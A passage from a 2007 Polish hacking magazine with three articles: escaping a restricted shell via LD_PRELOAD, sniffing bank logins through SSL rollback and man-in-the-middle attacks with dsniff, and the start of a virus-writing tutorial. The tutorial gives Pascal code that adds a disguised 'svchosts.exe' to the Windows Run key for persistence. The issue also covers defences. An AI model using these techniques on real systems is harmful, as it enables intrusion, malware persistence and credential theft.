Ominięcie restrykcji poprzez nadpisanie $SHELL plikiem .ssh/

environment

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

32

zaraz po zakończeniu pracy z po-
włoką. Kompilację należy przepro-
wadzić w taki oto sposób:

gcc -shared slibrary.c -o slibrary

Po przesłaniu biblioteki na serwer, je-
steśmy gotowi do przeprowadzenia
właściwej części ataku. Po zalogo-
waniu, ustawiamy zmienną środowi-
skową

LD _ PRELOAD

komendą

declare

lub

export

. Zakładamy tutaj, że biblio-

teka znajduje się w katalogu tmp:

declare –x LD_PRELOAD=/tmp/slibrary

Następnie uruchamiamy kalendarz,
pisząc po prostu

cal

. Jeśli wszystko

się powiedzie - program, w którymś
momencie swojego działania, odwo-
ła się do funkcji

localtime()

, pod którą

znajdzie się nasz kod. Powinniśmy uj-
rzeć napis ok! oraz znak zachęty no-
wej powłoki.

Jak się zabezpieczyć?

Przedstawione przykłady ataków po-
kazują, jak łatwo jeden źle dobrany
program (oferujący pozornie nieistot-
ną funkcję, jak ustawienia ulubione-
go edytora) może doprowadzić do
wydostania się z restrykcyjnej po-
włoki rbash. Czy można w jakiś sku-
teczny sposób sprawić, aby restryk-
cyjne środowisko stało się mniej za-

wodne? Z pomocą przychodzą dwa
projekty open source.

Pierwszy z nich – o nazwie ja-

il służy do utworzenia odseparowa-
nego środowiska, w którym zamy-
kany zostaje użytkownik zaraz po
zalogowaniu. Środowisko to two-
rzone jest dzięki wykorzystaniu
funkcji

chroot()

. Proces działają-

cy w środowisku chroot ograniczo-
ny jest do określonego katalogu i
nie ma dostępu do głównego drze-
wa. Taki proces postrzega katalog,
w którym został zamknięty, jako ka-
talog główny – root (/). Uzyskuje-
my w ten sposób zwiększone bez-
pieczeństwo, gdyż użytkownik – nie
mogąc wyjść poza przydzielone
procesowi drzewo – ma dostęp je-
dynie do plików utworzonych w je-
go obrębie. Tyczy się to wszystkich
plików, łącznie z bibliotekami, pro-
gramami i plikami urządzeń. Projekt

jail znacznie ułatwia zgromadzenie
wszystkich plików, potrzebnych do
działania takiego środowiska.

Drugi projekt nosi nazwę Iron

Bars Shell – restricted system shell

for Linux/Unix. Jest to projekt restryk-
cyjnej powłoki, nazywanej w skrócie

ibsh. Jest ona tworzona z myślą o
bezpieczeństwie. Jedną z głównych
idei projektu jest zakazanie wszyst-
kich operacji, które nie zostały jawnie
określone jako dozwolone. Powłoka

oferuje też kilka ciekawych funkcji,
jak kontrola parametrów wykonywa-
nych poleceń, logowanie poczynań
użytkownika do sysloga czy też blo-
kowanie dostępu do plików, których
rozszerzenie nie znajduje się na li-
ście dozwolonych rozszerzeń utwo-
rzonej przez administratora (ustawie-
nie blokady na pliki *.c, zapobiegnie
kompilacji potencjalnie szkodliwych
źródeł C itp.). W ten sposób zyskuje-
my dużo większą kontrolę nad poczy-
naniami użytkownika.

Podsumowanie

Praktyka pokazuje, że ciężko jest
utworzyć restrykcyjne środowisko, ba-
zujące tylko na restrykcyjnej powłoce.
Trzeba przewidzieć każdy ruch, jaki
może wykonać użytkownik oraz solid-
nie zgłębić zasady działania każdego
z udostępnianych programów, pod ką-
tem oferowanych przezeń funkcji. Do-
branie bezpiecznych programów mo-
że stanowić niemały kłopot, gdyż, jak
się przekonaliśmy, nawet prosty edy-
tor tekstu potrafi zawierać funkcje po-
zwalające na dostęp do powłoki. Mo-
żemy dojść do wniosku, że powłoka
restrykcyjna powinna być stosowana
tylko jako uzupełnienie bardziej efek-
tywnych technik ograniczania użyt-
kowników (jak chroot) lub ewentualnie
– jako powłoka dla początkujących
użytkowników systemu. l

Rysunek 9.

Wyjście z restrykcyjnego środowiska, dzięki załadowaniu

podstawionej biblioteki

O autorze

Autor jest samoukiem, pasjonatem, od
wielu lat interesującym się Informaty-
ką, a w szczególności aspektami bez-
pieczeństwa. Studiuje sieci komputero-
we w ramach programu Cisco Network
Academy
na Politechnice Poznańskiej.
Kontakt z autorem:
golunski@crackpl.com

W Sieci

http://www.jmcresearch.com/

projects/jail/ – strona domowa pro-
jektu Jail,

http://ibsh.sourceforge.net – stro-

na domowa projektu Iron Bars-
Shell
.

background image

Media Systems

Firma Media Systems oferuje Państwu

profesjonalny system CashBill.pl,

umożliwiający zarządzanie usługami

SMS Premium Rate w sektorze B2B

i B2C.

Oferujemy również szeroki wachlarz

usług mikropłatniczych, płatności

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie

aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie

komputerowe -

sprzedaż, dystrybucja oraz import na

zamówienie. W ofercie programy au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań

naszym klientem lub dostawcą.

www.OprogramowanieKomputerowe.pl

Zepter IT

Zepter IT to dynamicznie rozwijająca

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy rozwiązania dla biznesu

i zarządzania takie jak systemy ERP

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter IT świadczy również usługi in-

ternetowe - serwisy www, e-commerce,

tworzenie aplikacji internetowych oraz

systemów zarządzania treścią.

www.zepterit.com

Pr

en

um

er

at

a

PR

O

Prenumerata PRO

ko

nt

ak

t d

o

na

s:

m

ar

ty

na

.z

ac

ze

k@

so

ft

w

ar

e.

co

m

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

ft

w

ar

e.

co

m

.p

l

te

l.

: 2

2

88

7

13

4

5

Petrosoft

Partner Microsoft Bussiness Solutions

Dynamics GP. Budowa sklepów inter-

netowych, serwisów WWW, prezentacji

multimedialnych. Budowa sieci LAN,

WAN, telekomunikacyjnych. Telefonia

stacjonarna, VoiceIP. Usługi outsor-

cingowe dla dużych firm z zakresu

informatyki i telekomunikacji. Opro-

gramowanie na zamówienia. Dostawa

serwerów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

background image

www.hakin9.org

hakin9 Nr 8/2007

34

Atak

L

ogując się na stronę bankową, może-
my przeczytać o użytych tam, w ce-
lu zaszyfrowania danych, zabezpiecze-

niach. Technologia, z której bank korzysta w
celu zapewnienia bezpiecznego połączenia to
SSL (Secure Socket Layer). Bezpieczne połą-
czenie pomiędzy przeglądarką internetową, a
serwerem banku to zabezpieczenie podstawo-
we, pierwsza linia obrony (Rysunek 1, 5). Jest
to fundament analizy bezpieczeństwa elektro-
nicznego, gdyż owo rozwiązanie zapewnia po-
ufność danych konta. Kiedy połączymy się ze
stroną banku, na dole przeglądarki widzimy

kłódeczkę informującą nas o tym, że mamy
bezpieczne połączenie. Pierwszą wersją pro-
tokołu SSL była wersja 2.0, którą w 1999 roku
została zastąpiona przez wersję 3.0, jaka jest
obecnie bardzo popularna wśród banków oraz
przeglądarek internetowych (prawie wszystkie
się nią posługują). Najpopularniejszymi z nich
są: NetScape, MS Internet Explorer i Mozilla Fi-

refox. Można zwiększyć bezpieczeństwo, wyłą-
czając obsługę danego protokołu. W przypad-
ku Internet Explorera, aby zmusić przeglądarkę,
żeby używała tylko SSL 3.0, wystarczy wejść w
menu Narzędzia, następnie kliknąć w Opcje in-

ternetowe, przejść do zakładki Zaawansowa-

ne i w podpunkcie Zabezpieczenia odznaczyć
opcję Użyj SSL 2.0. Internet Explorer rozpo-
wszechniany jest w dwóch wersjach SSL: eks-
portowej (klucz 40-to bitowy) i amerykańskiej
(128-mio bitowy), przeglądarka obsługuje rów-
nież TLS 1.0. Jeśli chodzi o przeglądarkę Mo-

zilla Firefox, sprawa jest o tyle uproszczona, iż
obsługuje ona tylko SSL 3.0 oraz TLS 1.0. Na-
leży jednak pamiętać o tym, że niektóre strony
po odznaczeniu lub całkowitym braku SSL 2.0
mogą nie uruchamiać się poprawnie. Jak moż-
na zaobserwować, ponad 50 procent portali
używa jednak protokołu SSL w wersji 2.0. Roz-
winięciem SSL jest TLS, który zdobywa coraz
większe uznanie wśród przeglądarek interneto-
wych. Jedną z nich jest Internet Explorer, ob-

Hakowanie protokołu SSL

Artur Czyż

stopień trudności

Coraz częściej zamiast iść do banku, wypłacamy pieniądze

z bankomatu. Na stronach internetowych banków bez trudu

możemy założyć sobie nowe konto, złożyć wniosek kredytowy.

Wszystkie dane są poufne. Banki zapewniają, że nasze dane są

bezpieczne, ale czy możemy im wierzyć na słowo?

Z artykułu dowiesz się

• jak wykorzystać atak MITM do przejęcia danych

konta innej osoby,

• jakie błędy posiada protokół SSL.

Co powinieneś wiedzieć

• znać podstawy systemu Linux.

background image

Hakowanie protokołu SSL

hakin9 Nr 8/2007

www.hakin9.org

35

sługujący wersję 1.0 (dostępna jest
również wersja 1.1). Coraz częściej
protokół SSL wykorzystywany jest
w programach. Ich przykładem jest
np. aplikacja The Bat!, zaś przykła-
dem programu, jaki owego rozwią-
zania nie obsługuje jest Flash Play-

er 9 beta (ma to być zresztą napra-
wione). Ostatnio coraz popularniej-
szy staje się program Sylpheed, słu-
żący do obsługi poczty, a działający
na systemie Linux lub Unix. Należy
zwrócić uwagę na to, że także w nim
brak obsługi SSL. Banki oprócz zwy-
kłego uwierzytelniania stosują rów-
nież silniki oparte na tokenach, klu-
czach prywatnych itd. Token zabez-
pieczony jest czterocyfrowym kodem
PIN zakładanym przez użytkownika.

Jeśli bank wysyła wiadomość, i za-
szyfrowana jest ona za pomocą klu-
cza publicznego, to może zostać ona
rozszyfrowana wyłącznie przy uży-
ciu odpowiadającego mu klucza pry-
watnego i na odwrót.

Słabości

protokołu SSL 2.0

Protokół SSL w wersji 2.0 posiada
wiele słabości. Dokładny ich opis
znaleźć można w książce Erica Re-

scorla, SSL and TLS, Designing and

Building Secure Systems, Addison-

Wesley, 2000.

Protokół w tej wersji nie posiada

zabezpieczenia procedury nawiązy-
wania połączenia. Potencjalny na-
pastnik może wymusić użycie sła-
bego algorytmu szyfrującego. Algo-
rytmem zapewniającym integralność
przesyłanych danych w ramach po-
łączenia SSL w wersji 2.0 jest MD5.
Jest on postrzegany za niezbyt bez-
pieczny. Protokół SSL 2.0 używa rów-
nież tego samego klucza w celu za-
pewnienia poufności oraz integralno-
ści. Oznacza to, że złamanie jedne-
go klucza umożliwi przeprowadzenie
ataku. Wersja 2.0 posiada autoryza-
cję i uwierzytelnianie protokołu SSL,
a nie HTTP. Umożliwia to przechwy-
cenie danych autoryzacyjnych klienta
przez trzecią stronę połączenia.

Atak SSL 2.0 Rollback

W wersji 3.0 została wprowadzona
możliwość nawiązania połączenia z

wersją 2.0. Ma to na celu zapewnie-
nie kompatybilności z aplikacjami ob-
sługującymi starszą wersję. Rozwią-
zanie to znajduje zastosowanie, jeśli
jedna ze stron nie wspiera wersji 3.0,
a obie wspierają wersję 2.0. Proce-
dura takiej degradacji nazywa się w
terminologii SSL procedurą wycofa-
nia (rollback). Aby zapobiec atakom
typu MITM (Man-in-the-middle) klient
przechodzi w wersji 2.0 na inny tryb
kodowania. Jeśli serwer to wykryje,
uniemożliwi nawiązanie połączenia.

Ataki typu MITM są trudne do

wykonania, a zarazem bardzo nie-
bezpieczne. Aby przeprowadzić taki
atak, należy przekonać switche, któ-
re są na połączeniu pomiędzy hosta-
mi, jakie atakujemy, że posiadamy

lepsze połączenie niż one. Musimy
mieć jednak fizyczne podłączenie do
obu z nich. Co prawda możliwe jest
przejęcie kontroli z różnych segmen-
tów, ale występuje wtedy problem ich
połączenia w celu przekazywania ra-
mek. Wysyłając BPDU (przełączni-
ki wysyłające komunikaty, aby uzy-
skać topologie logiczną bez pętli) z
ustawionymi mniejszymi kosztami do
każdego ze switchy, możemy je prze-
stawić w stan Blocking (zablokowa-
ny) i przekierować ruch przez swo-
ją jednostkę.

Bezpieczeństwo

Należy zwrócić uwagę na to, iż atak,
o jakim tu mowa, jest bardzo trudny
do wykrycia przez końcowego użyt-
kownika, w stronę którego jest skie-
rowany. W przypadku DNS Spoofing
może on zobaczyć podmianę adre-
sów IP, a w przypadku ARP Spoofing
albo zauważy zmianę adresów MAC,
albo ma statyczną tablicę ARP z za-
pisanymi adresami ważnych hostów.
Jeśli chodzi o atak MITM, nie ma
możliwości jego wykrycia, niewielką
wskazówką może być jedynie zwięk-
szenie czasu przesyłania pakietów.
Jeśli pełni się funkcję administratora
Sieci, zadanie jest dość proste. Wy-
starczy analizować dzienniki syste-
mowe pod kątem topologi STP i wy-
łapywać dziwne sytuacje. Można też
spróbować wykryć atak za pomocą
analizatorów ruchu sieciowego. Ana-
lizując dzienniki systemowe zwróć-

Rysunek 1.

Certyfikat strony

jednego z banków, używającej do

logowania połączenia SSL

Rysunek 2.

Schemat ataku Man In the middle

Prawdziwy Client SSL

Maszyna atakującego

Fałszywy klient

Nieszyfrowane

połączenie SSL

Fałszywy serwer

......

Szyfrowane

połączenie SSL

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

36

my szczególna uwagę na to, czy z ja-
kiegoś urządzenia nie brakuje logów,
czy nie występują zbyt częste ramki
BPDU oraz zmiany topologi Sieci.

Należy wyłączyć STP (proto-

kół używany w sieciach kompute-
rowych) tam, gdzie nie jest ono po-
trzebne do prawidłowej pracy Sieci.
Można też ustawić identyfikatory na
poszczególnych switchach.

Problemy związane

z cookies

Serwer WWW można skonfigurować
tak, aby udostępniał aplikację po-
przez HTTP i HTTPS.

W przypadku banku, połączenie

ma być jak najbardziej bezpieczne i
odbywać się tylko w postaci zaszy-
frowanej. Ma to zapobiec przechwy-
ceniu wysyłanych przez przeglądarkę

cookies. Ponadto, jeżeli łączymy się
poprzez HTTP, klient nie jest w stanie
sprawdzić, czy w połączeniu nie ma
osoby trzeciej.

Scenariusz

pierwszego ataku

Atakujący jest w miejscu, gdzie istnie-
je możliwość skorzystania z Interne-
tu. Może to być biblioteka publiczna,
kawiarenka internetowa, restauracja,
hotel (Hot Spot), zwykła sieć lokalna,
itp. Pojawia się ofiara, która chce doko-
nać operacji bankowej. Napastnik uru-
chamia program podsłuchujący ruch w
sieci lokalnej np. Ethereal (Rysunek 3),

dsniff (Rysunek 4) lub inną aplikację
przechwytującą ruch w Sieci. Ethere-

al pracuje w środowisku Win32 lub Li-

nux i obsługuje aż 289 protokołów. Aby
uruchomić program, należy ustawić
adapter, zakres sieci i wcisnąć przycisk

Start. Na ekranie pojawi się okno konfi-
guracyjne przechwytywania transmisji.
Należy tu zwrócić szczególną uwagę
na wybranie prawidłowej karty siecio-
wej z listy dostępnych interfejsów. Roz-
poczęcie pracy programu rozpocznie
się po naciśnięciu przycisku OK. Pro-
gram zacznie pracę. Pojawi się okno
przechwytywania pakietów. Po za-
kończeniu działań program wyświetli
podsumowanie. Program dsniff dzia-
ła w środowisku UNIX. Jego procedu-
ra działania wygląda następująco: uru-
chamiamy konsolę, przechodzimy na
użytkownika root (robi się to przez ko-
mendę su), następnie w konsoli wpisu-
jemy: dsniff –opcja –TuNaszAdapter.
Przykładowa komenda wygląda tak:

dsniff -i eth1. Gdy nasza ofiara wcho-
dzi na stronę internetową banku i prze-
chodzi do strony logowania, sprawdza,
czy połączenie jest szyfrowane i uzna-
je je za bezpieczne. Wtedy przechodzi
do logowania na swoje konto. Atakują-
cy odbiera dane wpisywane przez ofia-
rę (Rysunek 2). Brak jest jakichkolwiek
komunikatów o ataku (SSL 3.0, patrz
Atak SSL 2.0 Rollback). Bezpieczne
połączenie zostaje zdegradowane do
poziomu łatwego odszyfrowania. Ata-
kujący odbiera zaszyfrowane dane.
Klient (ofiara) wylogowuje się z konta
i kończy połączenie. Napastnik odszy-
frowuje informacje i ma dostęp do da-
nych ofiary.

Scenariusz

drugiego ataku

W tym przypadku jeden z pracow-
ników firmy chce poznać dane doty-
czące kont pracowników z firmy. Na
początku zachwala zalety pewnego
banku. Później wysyła pracownikom
link (adres tego banku) przez pomył-

wpisując HTTP zamiast HTTPS.
Część pracowników, ufając kolegom z
pracy, rejestruje się na stronie banku.
Wszystkie dane są wysyłane w posta-
ci niezaszyfrowanej. Następnie ro-

Rysunek 3.

Wygląd programu Ethereal podczas pracy

O autorze

Artur Czyż, od 6 lat interesuje się
bezpieczeństwem Sieci.
Kontakt z autorem:
blackgeocities@wp.pl

Protokół SSL 2.0 i 3.0

Protokół SSL zaprojektowany został
przez firmę Netscape. Jego zadaniem
było zapewnienie poufności oraz inte-
gralności danych przesyłanych przez
Internet. Miał to być protokół uniwer-
salny, tak, aby mogły z niego korzystać
HTTP, FTP, TELNET, etc.

Man-in-the-middle

Atak typu man-in-the-middle (MITM) to
sytuacja, w której w kontakt pomiędzy
jedną a drugą stroną wkracza atakują-
cy. Jest on w stanie przechwytywać da-
ne przesyłane w obu kierunkach, od-
czytywać je, modyfikować lub usuwać.

Rysunek 4.

Wygląd programu

dsniff podczas pracy

background image

Hakowanie protokołu SSL

hakin9 Nr 8/2007

www.hakin9.org

37

bi wszystko to, co przedstawiliśmy w
poprzednim przykładzie - Scenariusz

pierwszego ataku od punktu 3. Jest to
kolejny dowód tego, w jak łatwy spo-
sób można zdobyć dane klientów.

Instalacja programów

W przypadku systemu Linux na po-
czątku należy zmienić użytkownika
na super user tzn. root; robimy to ko-
menda su.

user@debian:~$ su
Password: <-- wpisujemy hasło
root@debian:~$
Ethereal
Win32

Instalacja programu odbywa się na-
stępująco: uruchamiamy program in-
stalacyjny i po prostu klikamy cały
czas przycisk dalej (wybieramy tyl-
ko katalog, który chcemy zainstalo-

wać). Jeżeli program po instalacji za-
żąda od nas instalowania dodatko-
wych bibliotek (WinPCAP), instaluje-
my je również.

Dsniff
Linux
Przechodzimy do konsoli.
root@debian:~$

Załóżmy, że program dsniff ma na-
zwę dsniffXXX.tar.gz. Aby go za-
instalować, wpisujemy kolejno ko-
mendy:

root@debian:~$ tar -zxvf
dsniffXXX.tar.gz

Następnie wchodzimy do katalogu
poleceniem cd, np.:

root@debian:~$ cd dsniff

Później sprawdzamy dostępne kata-
logi i pliki – komenda ls. Następnie
wpisujemy polecenia:

root@debian:~$ ./configure
root@debian:~$ make
root@debian:~$ install

Po zakończeniu tych operacji, wy-
świetli się komunikat o poprawności
procesu instalacyjnego.

Podsumowanie

Okazuje się, że nawet gdy bank za-
pewnia o bezpieczeństwie nawią-
zywanych transakcji, możemy mieć
słuszne odczucia, że nasze pienią-
dze nie są do końca bezpieczne.
Artykuł nie ma na celu pokazać jak
okraść sąsiada czy kolegę z pracy,
a jedynie uświadomić, w jak wiel-
kim niebezpieczeństwie są nasze
pieniądze. Zwykły atak na zasa-
dzie podsłuchania sesji może posłu-
żyć do zdobycia danych z konta in-
nej osoby. Czy zatem mamy wszyst-
kie transakcje przeprowadzać jed-
nak w tradycyjnym w banku? Od-
powiedź jest następująca - bezpie-
czeństwo przeglądarki jest naszym
bezpieczeństwem, jeżeli jej zabez-
pieczenia będą na wysokim pozio-
mie, możemy czuć się niemal całko-
wicie bezpieczni. l

Rysunek 6.

Schemat szyfrowania transmisji

Szyfrowana transmisja podczas łączenia z bankiem

numer identyfikacyjny + hasło dostępu

(generowane przez token lub kartę)

token lub karta uwierzytelniająca z kodem do

potwierdzenia transakcji

SSL 128 bit

przelew

1

1

2

2

3

3

*

*

Bank

Rysunek 5.

Poczta WP akceptująca cookies

W Sieci

• http://krystian.jedrzejczak.webpark.pl/,
http://lumd.linux.pl/lecture/14/,
http://www.grupy.egospodarka.pl/prosty-sposob-zabezpieczenia-przed-atakiem-

MITM-w-Internet-Explorer,t,46221,8.html,

http://www.cryptonix.org/papers/secure-lan/secure-lan.pdf,
http://www.darknet.org.uk/2006/10/odysseus-proxy-for-mitm-attacks-testing-se-

curity-of-web-applications/.

background image

www.hakin9.org

hakin9 Nr 8/2007

38

Atak

K

iedyś wirusy przenoszone na dyskiet-
kach infekowały komputery, niszczyły
dane, zerowały boot sektor dysku, do-

klejały się do plików exe. Wirusy rozprzestrze-
niały się wówczas bardzo wolno, a okres, w ja-
kim zarażały się kolejne komputery trwał dni,
miesiące. Mogło nawet dojść do sytuacji, że
producenci oprogramowania antywirusowego
nie wiedzieli o istnieniu danego robaka. Świat
się zmieniał, globalną wioskę otoczyły kable, łą-
czące ze sobą mniejsze Sieci w większe, zwa-
ne MAN, a w efekcie tego powstało to, co dziś
nazywamy Internetem. Wirusy jednak przez ten
czas także ewoluowały. Pierwsze wirusy działa-
ły w systemie DOS, oparte były o infekcje na pli-
kach bat, com, exe, próbowały zmienić DOS w
środowisko wielozadaniowe. Każda uruchamia-
na aplikacja była kontrolowana przez szkodliwe
oprogramowanie, do tego celu wykorzystywano
odpowiednio spreparowane pliki bat. Kolejnym
typem wirusów były narzędzia atakujące dysk
twardy, czasem ich zadaniem było tylko usuwa-
nie plików, niektóre wirusy (takie jak czarnobyl
w rocznicę awarii elektrowni atomowej) czyściły
512 początkowych bajtów dysku twardego (boot

sektor). Były to wirusy dyskowe. Bardzo często
pisane one były w Asemblerze.

Nawet teraz można spotkać generatory wi-

rusów tego typu, wystarczy, że wybierzemy z
dostępnego menu działanie, jakie taki wirus
ma wykonać, a generator stworzy nam złośli-
wy kod. Plusem tego rozwiązania jest utworze-
nie kodu źródłowego, co pozwala na dogłębną
analizę i w efekcie zrozumienie sposobu dzia-
łania danego wirusa. W chwili, gdy sieć Internet
zaczęła się rozwijać, powstały konie trojańskie
umożliwiające zdalną kontrolę komputerów po-
tencjalnych ofiar. Zaczęto wykorzystywać błę-
dy w aplikacjach, tak aby wejść do systemu.
Znany wirus saser wykorzystywał lukę w sys-
temie LSASS, doprowadzając do wyświetlenia

Hakowanie rejestru

Rafał Podsiadły

stopień trudności

Wirus to słowo siejące postrach wśród zwykłych użytkowników

komputerów. Jest to bowiem program, którego zachowanie jest

odrobinę inne niż w przypadku programów użytkowych.

Z artykułu dowiesz się

• jak funkcjonują wirusy,
• jak można napisać wirusa,
• na co zwrócić uwagę, programując szkodliwy

kod.

Co powinieneś wiedzieć

• znać podstawy Object Pascala. Artykuł oparty

jest o kod napisany w tym języku.

background image

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

39

okna resetującego komputer po 60
sekundach.

Surfując po WWW, jesteśmy

bombardowani linkami do różnych
plików czy zapytaniami java script,
które mogą wywołać na naszym
komputerze instalację złośliwego
softu. Szczególnie dotkliwie odczu-
wają to na swej skórze posiadacze
modemów, gdy rachunki za telefon
przekraczają parę tysięcy złotych. W
związku z rozwojem globalnej sieci,
infekowanie wirusami stało się o wie-
le szybsze. Od pojawienia się zagro-
żenia mijają sekundy, a tysiące kom-
puterów stają się przez ten czas ofia-
rami; szczepionka pojawia się nato-
miast zwykle najwcześniej około go-
dzinę później. Pierwsze wirusy były
pisane przez pojedyncze osoby - te-
raz najbardziej wyrafinowane wiru-
sy tworzone są przez zespoły pro-
gramistów.

Zmienił się też cel takiego działa-

nia. Jeszcze nie tak dawno podsta-
wową kwestią było zarażenie kom-
putera, zniszczenie danych, uszko-
dzenie biosu czy dysku twardego, te-
raz weszliśmy w epokę wirusów ko-
mercyjnych, które są pisane w jed-
nym celu - aby zarobić. Znane są sie-
ci zombi które, atakują serwery firm,
aby później poinformować o zapłacie
za ochronę przed takim procederem.
Nawet te Sieci toczą ze sobą woj-
ny o to, która z nich zdobędzie wię-
cej komputerów lub jedne sieci przej-
mują inne. Ostatnio popularne sta-
ją się też ataki na banki, mające na
celu zdobycie danych klienta, nume-
rów pin, haseł bezpieczeństwa. Te-
matem tej pracy nie jest opisanie za-
grożenia, tylko przedstawienie infor-
macji na temat sposobów tworzenia
wirusów.

Infekcja

Część infekująca to najważniejszy
element wirusa. Najpierw wyszukuje
ona odpowiedni program, a następ-
nie go zaraża. Niektóre wirusy za-
wierają warunek aktywacji (trigger),
a także procedurę odpowiadającą za
zniszczenia (payload). Maskowanie,
a więc ukrywanie wirusa w systemie
może prowadzić do wyłączenia an-
tywirusa, aby ten nie wykrył go za-

Listing 1.

rejestr – autostart

Katalogi Użytkownika
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunOnceEX
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunServicesOnce
Wirus wykorzystujący pen drive ładuje się do tego wpisu
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows§
wartość run

Katalogi systemowe
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunServicesOnce

Listing 2.

svchosts.pas

Program

svchosts

;

uses

Windows

,

SysUtils

,

Registry

;

Begin

//

parametr

;

//

shell

;

//

DodajSkrypt

;

//

hackJedenWpis

;

//

sleep

(

20000

);

//

hackJedenWpis

;

//

sprzataj

end

.

Listing 3.

Dodawanie do sekcji uruchom

Procedure

hackJedenWpis

;

var

Rejestr

:

Tregistry

;

//

zmienna

odpowiedzialna

za

kontakt

z

rejestrem

begin

Rejestr

:=

Tregistry

.

Create

;

Rejestr

.

RootKey

:=

HKEY_LOCAL_MACHINE

;

Rejestr

.

OpenKey

(

'software\Microsoft\Windows\CurrentVersion\Run'

,

false

);

Rejestr

.

WriteString

(

'system'

,

'c:\svchosts.exe'

);

//

dodajemy

nowy

wpis

naszego

wirusa

rejestr

.

free

;

copyfile

(

'svchosts.exe'

,

'c:\svchosts.exe'

,

true

);

//

kopiujemy

nasz

program

do

wskazanego

katalogu

zast

ę

puj

ą

c

poprzedni

ą

§

wersje

end

;

Uwaga

Jeśli chcielibyśmy założyć blokadę na uruchamiane programy, należy pamiętać, ze filtr
będzie działał tylko dla określonego typu plików, w odniesieniu do którego założymy
ową blokadę. Jeśli zablokujemy pliki exe, to dokument Word z rozszerzeniem .doc bę-
dzie się uruchamiał, gdyż jest uruchamiany z poziomu rozszerzenia. Dlatego można
założyć zabezpieczenie na rozszerzenia lub na pliki wykonywalne, zmuszając tym sa-
mym Windows do tego, by każdy uruchomiony plik przepuszczał przez nasz program,
a w tym wypadku przefiltrował go tak, jak ma to miejsce w Listingu 6.

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

40

wczasu i aby ukryć wszystkie podej-
rzane aspekty swoich działań. Zo-
stała nawet wprowadzona procedu-
ra statusu, aby zapobiec ponowne-
mu zarażeniu. Poprzez dodanie do
gospodarza kilku bitów wirus spraw-
dza, czy plik jest zainfekowany. Kie-
dy mamy do czynienia z makrowi-
rusem, potrafi on zainfekować pliki
Word, Excel, a nawet Access. Wirus
taki w najprostszych przypadkach ła-
duje się do funkcji AutoOpen i jest
wykonywany podczas uruchamiania
dokumentu.

Nie tylko dokumenty są narażone

w przypadku wirusów plików - czę-
sto otrzymujemy jakiś program i uru-
chamiamy go, nie zdając sobie spra-
wy z tego, że może on być zainfeko-
wany przez wirusa. W ten sposób wi-
rus się zagnieżdża i infekuje następ-
ne pliki. Na końcu wirus uruchamia
właściwy program, aby ukryć swo-
ją działalność. Wirus taki przykleja
się do kodu programu-gospodarza i
umieszcza na jego początku rozkaz
skoku do właściwego kodu, a na koń-
cu wraca do wykonywania naszego
programu. Wirusy i robaki atakują
system, zmieniają pliki systemowe,
wpisują się w boot sektor. Razem
z tymi procedurami infekują rejestr
Windowsa, który odpowiedzialny jest
między innymi za prawidłowy start
komputera, uruchamianie usług, pro-
gramów, powiązań z programami.
Sam rejestr ma strukturę drzewia-
stą, jego gałęzie nazywamy klucza-
mi, a jego końce wartościami. War-
tości owe mogą być typu liczbowego,
znakowego, binarnego. Głównymi
kluczami rejestru są HKEY_CLAS-
SES_ROOT,

HKEY_CURRENT_

USER, HKEY_LOCAL_MACHINE,

HKEY_USERS, HKEY_CURRENT_
CONFIG i HKEY_DYN_DATA.

W podkluczach odpowiedzial-

nych za automatyczny start aplikacji
podczas uruchamiania systemu Win-
dows umieszczane są odwołania do
wirusów(rejestr – autostart). Niektó-
re programy umieszczają swoje od-
wołanie w polityce bezpieczeństwa
za pomocą skryptów autostartu lub
wylogowywania użytkownika. Od-
powiednio spreparowany skrypt mo-
że instalować wirusa przy każdora-
zowym zamknięciu systemu. Nawet
wtedy, gdy użytkownik usunie wiru-
sa, skrypt automatycznej instalacji
rozpakuje go i zainstaluje.

Rejestr jest potężnym narzę-

dziem, dającym możliwość pełnej
konfiguracji systemu. Teraz już pra-
wie każdy wirus ma zaimplemento-
wany kod podobny do tego, jaki wi-
dzimy na Listingu 2. W rejestrze moż-
na zmienić ustawienia wyglądu ikon,
a także opcję włączenia lub wyłącze-
nia ukrywania znanych rozszerzeń
Wtedy program podający się np. za
dokument Worda może zostać uru-
chomiony przez użytkownika i tym
samym zainfekować system. Od-
powiada za to klucz HKEY_CLAS-
SES_ROOT, dzięki funkcji wpisu Ne-

verShowExt.

Złośliwe oprogramowanie wpi-

suje się do zmiennej exefile\shell
w rejestrze, zmienna ta jest wyko-
nywana przy uruchamianiu progra-
mów, a odpowiednio zastąpiona do-
prowadza do sytuacji uruchamiania
złośliwego oprogramowania zanim
jeszcze cokolwiek innego świado-
mie uruchomimy. Mając to na uwa-
dze, programy antywirusowe spraw-
dzają tą wartość, jednak nie weryfi-

kują wszystkich elementów związa-
nych z startem, a co za tym idzie,
aplikacja może być wywołana pod-
czas otwierania dokumentu Worda
lub pliku mp3:

winexec(pchar(paramstr(1)),Sw_SHOW);

Umieszczając powyższą linię lek-
ko zmodyfikowaną, bezpośrednio w
programie kilkakrotnie, z tymi samy-
